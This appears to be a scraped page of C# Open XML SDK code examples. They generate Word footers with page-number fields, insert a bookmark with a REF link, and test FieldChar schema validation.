            SdtId         sdtId2         = new SdtId()
            {
                Val = 262557138
            };

            SdtContentDocPartObject sdtContentDocPartObject2 = new SdtContentDocPartObject();
            DocPartGallery          docPartGallery2          = new DocPartGallery()
            {
                Val = "Page Numbers (Top of Page)"
            };
            DocPartUnique docPartUnique2 = new DocPartUnique();

            sdtContentDocPartObject2.Append(docPartGallery2);
            sdtContentDocPartObject2.Append(docPartUnique2);

            sdtProperties2.Append(sdtId2);
            sdtProperties2.Append(sdtContentDocPartObject2);

            SdtContentBlock sdtContentBlock2 = new SdtContentBlock();

            Paragraph paragraph1 = new Paragraph()
            {
                RsidParagraphAddition  = "000A3202",
                RsidRunAdditionDefault = "000A3202",
                ParagraphId            = "450F18F9",
                TextId = "3669B4E6"
            };

            ParagraphProperties paragraphProperties1 = new ParagraphProperties();
            ParagraphStyleId    paragraphStyleId1    = new ParagraphStyleId()
            {
                Val = "a6"
            };
            Justification justification1 = new Justification()
            {
                Val = JustificationValues.Center
            };

            paragraphProperties1.Append(paragraphStyleId1);
            paragraphProperties1.Append(justification1);

            Run  run1  = new Run();
            Text text1 = new Text()
            {
                Space = SpaceProcessingModeValues.Preserve
            };

            text1.Text = "Страница ";

            run1.Append(text1);

            Run run2 = new Run();

            RunProperties runProperties1 = new RunProperties();
            Bold          bold1          = new Bold();
            FontSize      fontSize1      = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript1 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties1.Append(bold1);
            runProperties1.Append(fontSize1);
            runProperties1.Append(fontSizeComplexScript1);
            FieldChar fieldChar1 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run2.Append(runProperties1);
            run2.Append(fieldChar1);

            Run run3 = new Run();

            RunProperties runProperties2 = new RunProperties();
            Bold          bold2          = new Bold();

            runProperties2.Append(bold2);
            FieldCode fieldCode1 = new FieldCode();

            fieldCode1.Text = "PAGE";

            run3.Append(runProperties2);
            run3.Append(fieldCode1);

            Run run4 = new Run();

            RunProperties runProperties3 = new RunProperties();
            Bold          bold3          = new Bold();
            FontSize      fontSize2      = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript2 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties3.Append(bold3);
            runProperties3.Append(fontSize2);
            runProperties3.Append(fontSizeComplexScript2);
            FieldChar fieldChar2 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };

            run4.Append(runProperties3);
            run4.Append(fieldChar2);

            Run run5 = new Run();

            RunProperties runProperties4 = new RunProperties();
            Bold          bold4          = new Bold();
            NoProof       noProof1       = new NoProof();

            runProperties4.Append(bold4);
            runProperties4.Append(noProof1);
            Text text2 = new Text();

            text2.Text = "2";

            run5.Append(runProperties4);
            run5.Append(text2);

            Run run6 = new Run();

            RunProperties runProperties5 = new RunProperties();
            Bold          bold5          = new Bold();
            FontSize      fontSize3      = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript3 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties5.Append(bold5);
            runProperties5.Append(fontSize3);
            runProperties5.Append(fontSizeComplexScript3);
            FieldChar fieldChar3 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };

            run6.Append(runProperties5);
            run6.Append(fieldChar3);

            Run  run7  = new Run();
            Text text3 = new Text()
            {
                Space = SpaceProcessingModeValues.Preserve
            };

            text3.Text = " из ";

            run7.Append(text3);

            Run run8 = new Run();

            RunProperties runProperties6 = new RunProperties();
            Bold          bold6          = new Bold();
            FontSize      fontSize4      = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript4 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties6.Append(bold6);
            runProperties6.Append(fontSize4);
            runProperties6.Append(fontSizeComplexScript4);
            FieldChar fieldChar4 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run8.Append(runProperties6);
            run8.Append(fieldChar4);

            Run run9 = new Run();

            RunProperties runProperties7 = new RunProperties();
            Bold          bold7          = new Bold();

            runProperties7.Append(bold7);
            FieldCode fieldCode2 = new FieldCode();

            fieldCode2.Text = "NUMPAGES";

            run9.Append(runProperties7);
            run9.Append(fieldCode2);

            Run run10 = new Run();

            RunProperties runProperties8 = new RunProperties();
            Bold          bold8          = new Bold();
            FontSize      fontSize5      = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript5 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties8.Append(bold8);
            runProperties8.Append(fontSize5);
            runProperties8.Append(fontSizeComplexScript5);
            FieldChar fieldChar5 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };

            run10.Append(runProperties8);
            run10.Append(fieldChar5);

            Run run11 = new Run();

            RunProperties runProperties9 = new RunProperties();
            Bold          bold9          = new Bold();
            NoProof       noProof2       = new NoProof();

            runProperties9.Append(bold9);
            runProperties9.Append(noProof2);
            Text text4 = new Text();

            text4.Text = "2";

            run11.Append(runProperties9);
            run11.Append(text4);

            Run run12 = new Run();

            RunProperties runProperties10 = new RunProperties();
            Bold          bold10          = new Bold();
            FontSize      fontSize6       = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript6 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties10.Append(bold10);
            runProperties10.Append(fontSize6);
            runProperties10.Append(fontSizeComplexScript6);
            FieldChar fieldChar6 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };

            run12.Append(runProperties10);
            run12.Append(fieldChar6);

            paragraph1.Append(paragraphProperties1);
            paragraph1.Append(run1);
            paragraph1.Append(run2);
            paragraph1.Append(run3);
            paragraph1.Append(run4);
            paragraph1.Append(run5);
            paragraph1.Append(run6);
            paragraph1.Append(run7);
            paragraph1.Append(run8);
            paragraph1.Append(run9);
            paragraph1.Append(run10);
            paragraph1.Append(run11);
            paragraph1.Append(run12);

            sdtContentBlock2.Append(paragraph1);

            sdtBlock2.Append(sdtProperties2);
            sdtBlock2.Append(sdtContentBlock2);

            sdtContentBlock1.Append(sdtBlock2);

            sdtBlock1.Append(sdtProperties1);
            sdtBlock1.Append(sdtContentBlock1);

            Paragraph paragraph2 = new Paragraph()
            {
                RsidParagraphAddition  = "000A3202",
                RsidRunAdditionDefault = "000A3202",
                ParagraphId            = "7CCB7F19",
                TextId = "77777777"
            };

            ParagraphProperties paragraphProperties2 = new ParagraphProperties();
            ParagraphStyleId    paragraphStyleId2    = new ParagraphStyleId()
            {
                Val = "a6"
            };

            paragraphProperties2.Append(paragraphStyleId2);

            paragraph2.Append(paragraphProperties2);

            footer1.Append(sdtBlock1);
            footer1.Append(paragraph2);
            return(footer1);
        }
Exemplo n.º 20
0
        // Generates content of footerPart1.
        private void GenerateFooterPart1Content(FooterPart footerPart1)
        {
            Footer footer1 = new Footer() { MCAttributes = new MarkupCompatibilityAttributes() { Ignorable = "w14 w15 w16se wp14" } };
            footer1.AddNamespaceDeclaration("wpc", "http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas");
            footer1.AddNamespaceDeclaration("cx", "http://schemas.microsoft.com/office/drawing/2014/chartex");
            footer1.AddNamespaceDeclaration("cx1", "http://schemas.microsoft.com/office/drawing/2015/9/8/chartex");
            footer1.AddNamespaceDeclaration("cx2", "http://schemas.microsoft.com/office/drawing/2015/10/21/chartex");
            footer1.AddNamespaceDeclaration("mc", "http://schemas.openxmlformats.org/markup-compatibility/2006");
            footer1.AddNamespaceDeclaration("o", "urn:schemas-microsoft-com:office:office");
            footer1.AddNamespaceDeclaration("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships");
            footer1.AddNamespaceDeclaration("m", "http://schemas.openxmlformats.org/officeDocument/2006/math");
            footer1.AddNamespaceDeclaration("v", "urn:schemas-microsoft-com:vml");
            footer1.AddNamespaceDeclaration("wp14", "http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("w10", "urn:schemas-microsoft-com:office:word");
            footer1.AddNamespaceDeclaration("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main");
            footer1.AddNamespaceDeclaration("w14", "http://schemas.microsoft.com/office/word/2010/wordml");
            footer1.AddNamespaceDeclaration("w15", "http://schemas.microsoft.com/office/word/2012/wordml");
            footer1.AddNamespaceDeclaration("w16se", "http://schemas.microsoft.com/office/word/2015/wordml/symex");
            footer1.AddNamespaceDeclaration("wpg", "http://schemas.microsoft.com/office/word/2010/wordprocessingGroup");
            footer1.AddNamespaceDeclaration("wpi", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk");
            footer1.AddNamespaceDeclaration("wne", "http://schemas.microsoft.com/office/word/2006/wordml");
            footer1.AddNamespaceDeclaration("wps", "http://schemas.microsoft.com/office/word/2010/wordprocessingShape");

            SdtBlock sdtBlock1 = new SdtBlock();

            SdtProperties sdtProperties50 = new SdtProperties();
            SdtId sdtId50 = new SdtId() { Val = -1161223993 };

            SdtContentDocPartObject sdtContentDocPartObject1 = new SdtContentDocPartObject();
            DocPartGallery docPartGallery1 = new DocPartGallery() { Val = "Page Numbers (Bottom of Page)" };
            DocPartUnique docPartUnique1 = new DocPartUnique();

            sdtContentDocPartObject1.Append(docPartGallery1);
            sdtContentDocPartObject1.Append(docPartUnique1);

            sdtProperties50.Append(sdtId50);
            sdtProperties50.Append(sdtContentDocPartObject1);
            SdtEndCharProperties sdtEndCharProperties50 = new SdtEndCharProperties();

            SdtContentBlock sdtContentBlock1 = new SdtContentBlock();

            Paragraph paragraph369 = new Paragraph() { RsidParagraphAddition = "0094109A", RsidParagraphProperties = "00697199", RsidRunAdditionDefault = "00A563A2", ParagraphId = "3CF2B95B", TextId = "59B2ED64" };

            ParagraphProperties paragraphProperties366 = new ParagraphProperties();
            ParagraphStyleId paragraphStyleId26 = new ParagraphStyleId() { Val = "Footer" };

            paragraphProperties366.Append(paragraphStyleId26);

            Hyperlink hyperlink1 = new Hyperlink() { History = true, Id = "rId1" };

            Run run738 = new Run() { RsidRunProperties = "00697199", RsidRunAddition = "00697199" };

            RunProperties runProperties780 = new RunProperties();
            FontSize fontSize1048 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1034 = new FontSizeComplexScript() { Val = "20" };

            runProperties780.Append(fontSize1048);
            runProperties780.Append(fontSizeComplexScript1034);
            Text text700 = new Text();
            text700.Text = "BJC IS Tech Management Standards";

            run738.Append(runProperties780);
            run738.Append(text700);

            hyperlink1.Append(run738);

            Run run739 = new Run() { RsidRunProperties = "00697199", RsidRunAddition = "00697199" };

            RunProperties runProperties781 = new RunProperties();
            FontSize fontSize1049 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1035 = new FontSizeComplexScript() { Val = "20" };

            runProperties781.Append(fontSize1049);
            runProperties781.Append(fontSizeComplexScript1035);
            Text text701 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text701.Text = "  can be found at: ";

            run739.Append(runProperties781);
            run739.Append(text701);

            Hyperlink hyperlink2 = new Hyperlink() { History = true, Id = "rId2" };

            Run run740 = new Run() { RsidRunProperties = "00697199", RsidRunAddition = "00697199" };

            RunProperties runProperties782 = new RunProperties();
            RunStyle runStyle2 = new RunStyle() { Val = "Hyperlink" };
            FontSize fontSize1050 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1036 = new FontSizeComplexScript() { Val = "20" };

            runProperties782.Append(runStyle2);
            runProperties782.Append(fontSize1050);
            runProperties782.Append(fontSizeComplexScript1036);
            Text text702 = new Text();
            text702.Text = "http://bjcis/sites/techservices/Informational%20Documents/Forms/AllItems.aspx";

            run740.Append(runProperties782);
            run740.Append(text702);

            hyperlink2.Append(run740);

            Run run741 = new Run() { RsidRunProperties = "00697199", RsidRunAddition = "00697199" };

            RunProperties runProperties783 = new RunProperties();
            FontSize fontSize1051 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1037 = new FontSizeComplexScript() { Val = "20" };

            runProperties783.Append(fontSize1051);
            runProperties783.Append(fontSizeComplexScript1037);
            TabChar tabChar45 = new TabChar();

            run741.Append(runProperties783);
            run741.Append(tabChar45);

            Run run742 = new Run() { RsidRunAddition = "00697199" };

            RunProperties runProperties784 = new RunProperties();
            FontSize fontSize1052 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1038 = new FontSizeComplexScript() { Val = "20" };

            runProperties784.Append(fontSize1052);
            runProperties784.Append(fontSizeComplexScript1038);
            Text text703 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text703.Text = "       ";

            run742.Append(runProperties784);
            run742.Append(text703);

            SdtRun sdtRun50 = new SdtRun();

            SdtProperties sdtProperties51 = new SdtProperties();

            RunProperties runProperties785 = new RunProperties();
            FontSize fontSize1053 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1039 = new FontSizeComplexScript() { Val = "20" };

            runProperties785.Append(fontSize1053);
            runProperties785.Append(fontSizeComplexScript1039);
            SdtId sdtId51 = new SdtId() { Val = 860082579 };

            SdtContentDocPartObject sdtContentDocPartObject2 = new SdtContentDocPartObject();
            DocPartGallery docPartGallery2 = new DocPartGallery() { Val = "Page Numbers (Top of Page)" };
            DocPartUnique docPartUnique2 = new DocPartUnique();

            sdtContentDocPartObject2.Append(docPartGallery2);
            sdtContentDocPartObject2.Append(docPartUnique2);

            sdtProperties51.Append(runProperties785);
            sdtProperties51.Append(sdtId51);
            sdtProperties51.Append(sdtContentDocPartObject2);

            SdtEndCharProperties sdtEndCharProperties51 = new SdtEndCharProperties();

            RunProperties runProperties786 = new RunProperties();
            FontSize fontSize1054 = new FontSize() { Val = "24" };
            FontSizeComplexScript fontSizeComplexScript1040 = new FontSizeComplexScript() { Val = "24" };

            runProperties786.Append(fontSize1054);
            runProperties786.Append(fontSizeComplexScript1040);

            sdtEndCharProperties51.Append(runProperties786);

            SdtContentRun sdtContentRun50 = new SdtContentRun();

            Run run743 = new Run() { RsidRunAddition = "0094109A" };
            Text text704 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text704.Text = "Page ";

            run743.Append(text704);

            Run run744 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties787 = new RunProperties();
            Bold bold109 = new Bold();
            BoldComplexScript boldComplexScript4 = new BoldComplexScript();

            runProperties787.Append(bold109);
            runProperties787.Append(boldComplexScript4);
            FieldChar fieldChar1 = new FieldChar() { FieldCharType = FieldCharValues.Begin };

            run744.Append(runProperties787);
            run744.Append(fieldChar1);

            Run run745 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties788 = new RunProperties();
            Bold bold110 = new Bold();
            BoldComplexScript boldComplexScript5 = new BoldComplexScript();

            runProperties788.Append(bold110);
            runProperties788.Append(boldComplexScript5);
            FieldCode fieldCode1 = new FieldCode() { Space = SpaceProcessingModeValues.Preserve };
            fieldCode1.Text = " PAGE ";

            run745.Append(runProperties788);
            run745.Append(fieldCode1);

            Run run746 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties789 = new RunProperties();
            Bold bold111 = new Bold();
            BoldComplexScript boldComplexScript6 = new BoldComplexScript();

            runProperties789.Append(bold111);
            runProperties789.Append(boldComplexScript6);
            FieldChar fieldChar2 = new FieldChar() { FieldCharType = FieldCharValues.Separate };

            run746.Append(runProperties789);
            run746.Append(fieldChar2);

            Run run747 = new Run() { RsidRunAddition = "007F6223" };

            RunProperties runProperties790 = new RunProperties();
            Bold bold112 = new Bold();
            BoldComplexScript boldComplexScript7 = new BoldComplexScript();
            NoProof noProof2 = new NoProof();

            runProperties790.Append(bold112);
            runProperties790.Append(boldComplexScript7);
            runProperties790.Append(noProof2);
            Text text705 = new Text();
            text705.Text = "1";

            run747.Append(runProperties790);
            run747.Append(text705);

            Run run748 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties791 = new RunProperties();
            Bold bold113 = new Bold();
            BoldComplexScript boldComplexScript8 = new BoldComplexScript();

            runProperties791.Append(bold113);
            runProperties791.Append(boldComplexScript8);
            FieldChar fieldChar3 = new FieldChar() { FieldCharType = FieldCharValues.End };

            run748.Append(runProperties791);
            run748.Append(fieldChar3);

            Run run749 = new Run() { RsidRunAddition = "0094109A" };
            Text text706 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text706.Text = " of ";

            run749.Append(text706);

            Run run750 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties792 = new RunProperties();
            Bold bold114 = new Bold();
            BoldComplexScript boldComplexScript9 = new BoldComplexScript();

            runProperties792.Append(bold114);
            runProperties792.Append(boldComplexScript9);
            FieldChar fieldChar4 = new FieldChar() { FieldCharType = FieldCharValues.Begin };

            run750.Append(runProperties792);
            run750.Append(fieldChar4);

            Run run751 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties793 = new RunProperties();
            Bold bold115 = new Bold();
            BoldComplexScript boldComplexScript10 = new BoldComplexScript();

            runProperties793.Append(bold115);
            runProperties793.Append(boldComplexScript10);
            FieldCode fieldCode2 = new FieldCode() { Space = SpaceProcessingModeValues.Preserve };
            fieldCode2.Text = " NUMPAGES  ";

            run751.Append(runProperties793);
            run751.Append(fieldCode2);

            Run run752 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties794 = new RunProperties();
            Bold bold116 = new Bold();
            BoldComplexScript boldComplexScript11 = new BoldComplexScript();

            runProperties794.Append(bold116);
            runProperties794.Append(boldComplexScript11);
            FieldChar fieldChar5 = new FieldChar() { FieldCharType = FieldCharValues.Separate };

            run752.Append(runProperties794);
            run752.Append(fieldChar5);

            Run run753 = new Run() { RsidRunAddition = "007F6223" };

            RunProperties runProperties795 = new RunProperties();
            Bold bold117 = new Bold();
            BoldComplexScript boldComplexScript12 = new BoldComplexScript();
            NoProof noProof3 = new NoProof();

            runProperties795.Append(bold117);
            runProperties795.Append(boldComplexScript12);
            runProperties795.Append(noProof3);
            Text text707 = new Text();
            text707.Text = "8";

            run753.Append(runProperties795);
            run753.Append(text707);

            Run run754 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties796 = new RunProperties();
            Bold bold118 = new Bold();
            BoldComplexScript boldComplexScript13 = new BoldComplexScript();

            runProperties796.Append(bold118);
            runProperties796.Append(boldComplexScript13);
            FieldChar fieldChar6 = new FieldChar() { FieldCharType = FieldCharValues.End };

            run754.Append(runProperties796);
            run754.Append(fieldChar6);

            sdtContentRun50.Append(run743);
            sdtContentRun50.Append(run744);
            sdtContentRun50.Append(run745);
            sdtContentRun50.Append(run746);
            sdtContentRun50.Append(run747);
            sdtContentRun50.Append(run748);
            sdtContentRun50.Append(run749);
            sdtContentRun50.Append(run750);
            sdtContentRun50.Append(run751);
            sdtContentRun50.Append(run752);
            sdtContentRun50.Append(run753);
            sdtContentRun50.Append(run754);

            sdtRun50.Append(sdtProperties51);
            sdtRun50.Append(sdtEndCharProperties51);
            sdtRun50.Append(sdtContentRun50);

            paragraph369.Append(paragraphProperties366);
            paragraph369.Append(hyperlink1);
            paragraph369.Append(run739);
            paragraph369.Append(hyperlink2);
            paragraph369.Append(run741);
            paragraph369.Append(run742);
            paragraph369.Append(sdtRun50);

            sdtContentBlock1.Append(paragraph369);

            sdtBlock1.Append(sdtProperties50);
            sdtBlock1.Append(sdtEndCharProperties50);
            sdtBlock1.Append(sdtContentBlock1);

            Paragraph paragraph370 = new Paragraph() { RsidParagraphAddition = "0094109A", RsidParagraphProperties = "000F55C6", RsidRunAdditionDefault = "0094109A", ParagraphId = "0AAC1AD4", TextId = "7EFCA27E" };

            ParagraphProperties paragraphProperties367 = new ParagraphProperties();
            ParagraphStyleId paragraphStyleId27 = new ParagraphStyleId() { Val = "Footer" };
            Justification justification77 = new Justification() { Val = JustificationValues.Center };

            paragraphProperties367.Append(paragraphStyleId27);
            paragraphProperties367.Append(justification77);

            paragraph370.Append(paragraphProperties367);

            footer1.Append(sdtBlock1);
            footer1.Append(paragraph370);

            footerPart1.Footer = footer1;
        }
Exemplo n.º 21
0
        private void GenerateFooterPartContent(FooterPart footerPart1)
        {
            Footer footer1 = new Footer();

            SdtBlock sdtBlock1 = new SdtBlock();

            SdtProperties sdtProperties1 = new SdtProperties();
            SdtId         sdtId1         = new SdtId()
            {
                Val = 712706661
            };

            SdtContentDocPartObject sdtContentDocPartObject1 = new SdtContentDocPartObject();
            DocPartGallery          docPartGallery1          = new DocPartGallery()
            {
                Val = "Page Numbers (Bottom of Page)"
            };
            DocPartUnique docPartUnique1 = new DocPartUnique();

            sdtContentDocPartObject1.Append(docPartGallery1);
            sdtContentDocPartObject1.Append(docPartUnique1);

            sdtProperties1.Append(sdtId1);
            sdtProperties1.Append(sdtContentDocPartObject1);

            SdtEndCharProperties sdtEndCharProperties1 = new SdtEndCharProperties();

            RunProperties runProperties1 = new RunProperties();
            NoProof       noProof1       = new NoProof();

            runProperties1.Append(noProof1);

            sdtEndCharProperties1.Append(runProperties1);

            SdtContentBlock sdtContentBlock1 = new SdtContentBlock();

            Paragraph paragraph1 = new Paragraph();

            ParagraphProperties paragraphProperties1 = new ParagraphProperties();
            ParagraphStyleId    paragraphStyleId1    = new ParagraphStyleId()
            {
                Val = "Footer"
            };
            Justification justification1 = new Justification()
            {
                Val = JustificationValues.Center
            };

            paragraphProperties1.Append(paragraphStyleId1);
            paragraphProperties1.Append(justification1);

            Run       run1       = new Run();
            FieldChar fieldChar1 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run1.Append(fieldChar1);

            Run       run2       = new Run();
            FieldCode fieldCode1 = new FieldCode()
            {
                Space = SpaceProcessingModeValues.Preserve
            };

            fieldCode1.Text = " PAGE   \\* MERGEFORMAT ";

            run2.Append(fieldCode1);

            Run       run3       = new Run();
            FieldChar fieldChar2 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };

            run3.Append(fieldChar2);

            Run run4 = new Run();

            RunProperties runProperties2 = new RunProperties();
            NoProof       noProof2       = new NoProof();

            runProperties2.Append(noProof2);
            Text text1 = new Text();

            text1.Text = "1";

            run4.Append(runProperties2);
            run4.Append(text1);

            Run run5 = new Run();

            RunProperties runProperties3 = new RunProperties();
            NoProof       noProof3       = new NoProof();

            runProperties3.Append(noProof3);
            FieldChar fieldChar3 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };

            run5.Append(runProperties3);
            run5.Append(fieldChar3);

            paragraph1.Append(paragraphProperties1);
            paragraph1.Append(run1);
            paragraph1.Append(run2);
            paragraph1.Append(run3);
            paragraph1.Append(run4);
            paragraph1.Append(run5);

            sdtContentBlock1.Append(paragraph1);

            sdtBlock1.Append(sdtProperties1);
            sdtBlock1.Append(sdtEndCharProperties1);
            sdtBlock1.Append(sdtContentBlock1);

            Paragraph paragraph2 = new Paragraph();

            ParagraphProperties paragraphProperties2 = new ParagraphProperties();
            ParagraphStyleId    paragraphStyleId2    = new ParagraphStyleId()
            {
                Val = "Footer"
            };

            paragraphProperties2.Append(paragraphStyleId2);

            paragraph2.Append(paragraphProperties2);

            footer1.Append(sdtBlock1);
            footer1.Append(paragraph2);

            footerPart1.Footer = footer1;
        }
Exemplo n.º 22
0
        public static void BookMark(string filepath)
        {
            //WordprocessingDocument doc =
            //WordprocessingDocument.Open(filepath, true);
            //Body body = doc.MainDocumentPart.Document.Body;
            //Paragraph paragraph1 = doc.MainDocumentPart.Document.Body.Elements<Paragraph>().First();
            Paragraph paragraph1 = body.Elements <Paragraph>().First();

            BookmarkStart bookmarkStart = new BookmarkStart()
            {
                Name = "p1", Id = "1"
            };
            BookmarkEnd bookmarkEnd = new BookmarkEnd()
            {
                Id = "1"
            };

            body.InsertBefore <BookmarkStart>(bookmarkStart, paragraph1);
            body.InsertAfter <BookmarkEnd>(bookmarkEnd, paragraph1);

            //Paragraph paragraph3 = doc.MainDocumentPart.Document.Body.Elements<Paragraph>().ElementAt(2);
            Paragraph paragraph3 = body.Elements <Paragraph>().ElementAt(2);
            Run       run2       = new Run()
            {
                RsidRunAddition = "009B0519"
            };
            FieldChar fieldChar1 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run2.Append(fieldChar1);
            Run run3 = new Run()
            {
                RsidRunAddition = "009B0519"
            };
            FieldCode fieldCode1 = new FieldCode()
            {
                Space = SpaceProcessingModeValues.Preserve
            };

            fieldCode1.Text = " REF p1 \\h "; //Link to bookmark p1
            run3.Append(fieldCode1);
            Run run4 = new Run()
            {
                RsidRunAddition = "009B0519"
            };
            FieldChar fieldChar2 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };

            run4.Append(fieldChar2);
            Run run5 = new Run()
            {
                RsidRunAddition = "009B0519"
            };
            Text text2 = new Text();

            text2.Text = "Link To Paragraph1";
            run5.Append(text2);
            Run       run6       = new Run();
            FieldChar fieldChar3 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };

            run6.Append(fieldChar3);
            paragraph3.Append(run2);
            paragraph3.Append(run3);
            paragraph3.Append(run4);
            paragraph3.Append(run5);
            paragraph3.Append(run6);

            string parastyleid = "OverdueAmountPara";

            if (paragraph3.Elements <ParagraphProperties>().Count() == 0)
            {
                paragraph3.PrependChild <ParagraphProperties>(new ParagraphProperties());
            }

            // Get a reference to the ParagraphProperties object.
            ParagraphProperties pPr = paragraph3.ParagraphProperties;

            // If a ParagraphStyleId object doesn't exist, create one.
            if (pPr.ParagraphStyleId == null)
            {
                pPr.ParagraphStyleId = new ParagraphStyleId();
            }

            // Set the style of the paragraph.
            pPr.ParagraphStyleId.Val = parastyleid;
            //doc.Close();
        }
        public void TestSimpleChoice()
        {
            ValidationContext validationContext = new ValidationContext();
            OpenXmlElement    errorChild;

            FieldChar fldChar            = new FieldChar();
            var       particleConstraint = fldChar.ParticleConstraint.Build(Version);
            var       target             = particleConstraint.ParticleValidator as ChoiceParticleValidator;

            validationContext.Element = fldChar;
            var expected = fldChar;

            //<xsd:complexType name="CT_FldChar">
            //  <xsd:choice>
            //    <xsd:element name="fldData" type="CT_Text" minOccurs="0" maxOccurs="1">
            //    <xsd:element name="ffData" type="CT_FFData" minOccurs="0" maxOccurs="1">
            //    <xsd:element name="numberingChange" type="CT_TrackChangeNumbering" minOccurs="0">
            //  </xsd:choice>
            //</xsd:complexType>

            // ***** good case ******
            target.Validate(validationContext);
            Assert.True(validationContext.Valid);

            fldChar.AppendChild(new FieldData());
            target.Validate(validationContext);
            Assert.True(validationContext.Valid);

            fldChar.RemoveAllChildren();
            fldChar.AppendChild(new FormFieldData());
            target.Validate(validationContext);
            Assert.True(validationContext.Valid);

            fldChar.RemoveAllChildren();
            fldChar.AppendChild(new NumberingChange());
            target.Validate(validationContext);
            Assert.True(validationContext.Valid);

            // ***** error case ******

            // 1st is invalid
            errorChild = fldChar.PrependChild(new Paragraph());
            target.Validate(validationContext);
            Assert.False(validationContext.Valid);
            Assert.Single(validationContext.Errors);
            Assert.Same(expected, validationContext.Errors[0].Node);
            Assert.Same(errorChild, validationContext.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, validationContext.Errors[0].ErrorType);
            Assert.Equal("Sch_InvalidElementContentExpectingComplex", validationContext.Errors[0].Id);
            Assert.Contains(":fldData", validationContext.Errors[0].Description);
            Assert.Contains(":ffData", validationContext.Errors[0].Description);
            Assert.Contains(":numberingChange", validationContext.Errors[0].Description);

            validationContext.Clear();

            // second is invalid
            fldChar.RemoveChild(errorChild);
            errorChild = fldChar.AppendChild(new Paragraph());
            target.Validate(validationContext);
            Assert.False(validationContext.Valid);
            Assert.Single(validationContext.Errors);
            Assert.Same(expected, validationContext.Errors[0].Node);
            Assert.Same(errorChild, validationContext.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, validationContext.Errors[0].ErrorType);
            Assert.Equal("Sch_InvalidElementContentExpectingComplex", validationContext.Errors[0].Id);
            Assert.DoesNotContain(ValidationErrorStrings.Fmt_ListOfPossibleElements, validationContext.Errors[0].Description);

            validationContext.Clear();

            // dup first child
            fldChar.RemoveAllChildren();
            fldChar.Append(new FieldData(), new FieldData());
            errorChild = fldChar.LastChild;
            target.Validate(validationContext);
            Assert.False(validationContext.Valid);
            Assert.Single(validationContext.Errors);
            Assert.Same(expected, validationContext.Errors[0].Node);
            Assert.Same(errorChild, validationContext.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, validationContext.Errors[0].ErrorType);
            Assert.Equal("Sch_UnexpectedElementContentExpectingComplex", validationContext.Errors[0].Id);
            Assert.DoesNotContain(ValidationErrorStrings.Fmt_ListOfPossibleElements, validationContext.Errors[0].Description);

            validationContext.Clear();

            // two different
            fldChar.RemoveAllChildren();
            fldChar.Append(new FieldData(), new FormFieldData());
            errorChild = fldChar.LastChild;
            target.Validate(validationContext);
            Assert.False(validationContext.Valid);
            Assert.Single(validationContext.Errors);
            Assert.Same(expected, validationContext.Errors[0].Node);
            Assert.Same(errorChild, validationContext.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, validationContext.Errors[0].ErrorType);
            Assert.Equal("Sch_UnexpectedElementContentExpectingComplex", validationContext.Errors[0].Id);
            Assert.DoesNotContain(ValidationErrorStrings.Fmt_ListOfPossibleElements, validationContext.Errors[0].Description);

            validationContext.Clear();

            // two different
            fldChar.RemoveAllChildren();
            fldChar.Append(new FormFieldData(), new FieldData());
            errorChild = fldChar.LastChild;
            target.Validate(validationContext);
            Assert.False(validationContext.Valid);
            Assert.Single(validationContext.Errors);
